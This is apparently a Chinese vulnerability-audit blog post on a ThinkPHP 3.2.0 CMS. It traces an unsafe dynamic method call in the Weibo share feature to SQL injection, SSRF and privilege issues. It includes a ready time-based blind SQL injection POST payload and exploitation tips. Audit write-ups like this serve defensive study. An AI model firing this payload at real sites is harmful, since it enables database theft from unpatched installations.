前言

该系统是基于Thinkphp3.2.0开发的,审计时发现一处可以动态调用函数的地方,虽然受到一定限制,但是还是可以通过这里进行SQL注入,还阔以SSRF以及越权操作

漏洞分析

先看漏洞函数,在/Application/Weibo/Model/ShareModel.class.php:8

1
2
3
4
5
6
7
8
9
10
11
12
13
class ShareModel extends Model
{
public function getInfo($param)
{
$info = array();
if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
}

return $info;
}

}

这里的$param['method']($param['id'])使我们可以控制部分函数,且该函数仅需接受一个参数,这就是限制的地方。接下来需要做的就是寻找该系统中满足要求的函数,然后通过构造来调用。

接着看该函数的调用,在/Application/Weibo/Controller/ShareController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function doSendShare(){
$aContent = I('post.content','','text');
$aQuery = I('post.query','','text');
parse_str($aQuery,$feed_data);
...
$new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']);

$info = D('Weibo/Share')->getInfo($feed_data);
$toUid = $info['uid'];
$message_content=array(
'keyword1'=> parse_content_for_message($aContent),
'keyword2'=>'分享了你的:',
'keyword3'=>$info['title']?$info['title']:"未知内容!"
);

调用处是分享微博(该系统的帖子)的地方,接受数据后使用text函数过滤,该函数基本只能过滤标签,对我们的利用没啥影响。

另外,系统只有这一处调用点,且受后面语句影响,没有返回信息,而且过多的报错后,用户账号还会被冻结之类的

漏洞利用

SQL注入

能用来注入的点有很多,后台有一些where中拼接SQL语句的地方可以用,但其实根本不需要,像下面这样的点就可以,/Application/Common/Model/ActionLimitModel.class.php:29

1
2
3
4
5
6
7
8
9
public function getActionLimit($where){
$limit = $this->where($where)->find();
return $limit;
}

public function getList($where){
$list = $this->where($where)->select();
return $list;
}

像这样的点本身出于安全考虑,传入的$where都是数组,但是我们可以直接传入一个恶意的字符串来利用。利用前,再回头看到调用处的微博分享:

1
2
3
4
5
6
7
$info =  D('Weibo/Share')->getInfo($feed_data);
$toUid = $info['uid'];
$message_content=array(
'keyword1'=> parse_content_for_message($aContent),
'keyword2'=>'分享了你的:',
'keyword3'=>$info['title']?$info['title']:"未知内容!"
);

这段是会返回$info[‘title’]的,其实只要找到一个利用点有这个字段,就可以直接注出内容了,但是我并没有找到。数据库报错默认又不开启,只剩时间盲注,但是跑盲注得注意的是:每提交一次payload,会分享一篇微博,下一次提交的payload在数据库就会多执行一次,睡眠时间就会延长,且动作明显较大

所以正确的方法应该是在微博数一定的情况下,提交一次payload,提交微博删除操作,这一切最好靠脚本完成,脚本能力差的我就讲到这吧,嘻嘻

payload:

[URL]:http://127.0.0.1/index.php?s=/Weibo/Share/doSendShare.html

[POST]:content=a&query=from%3d1%26app%3dCommon%26model%3dActionLimit%26method%3dgetList%26id%3d1%253d1 and if((substr(user(),1,1)='r'),sleep(2),1)

1532418402361

SSRF

利用点:/Application/Admin/Model/CurlModel.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function curl($url)
{
$cookie_file = 'Runtime/cookie.txt';
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11');
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);


if (isset($_SESSION['cloud_cookie'])) {
curl_setopt($curl, CURLOPT_COOKIE, $this->getCookie(array('PHPSESSID' => $_SESSION['cloud_cookie'])));
}
$result = curl_exec($curl);

其他

由于找函数基本翻遍了model文件,除了有越权操作外,其中有一个地方还能让我们扩大利用范围,如下/Application/Common/Model/ScheduleModel.class.php

1
2
3
4
5
6
7
public function runSchedule($schedule)
{
if ($schedule['status'] == 1) {
$method = explode('->', $schedule['method']);
parse_str($schedule['args'], $args); //分解参数
try {
$return = D($method[0])->$method[1]($args, $schedule); //执行model中的方法

看到没,又是函数的动态调用,且两个参数可控,也是因为这个利用点,我又翻了几遍文件,刚了几次都没有实现前台Getshell,怪我太菜了…

总结

函数的动态调用危害极大,使用时一定得做全面的限制,审计时可以多注意这种地方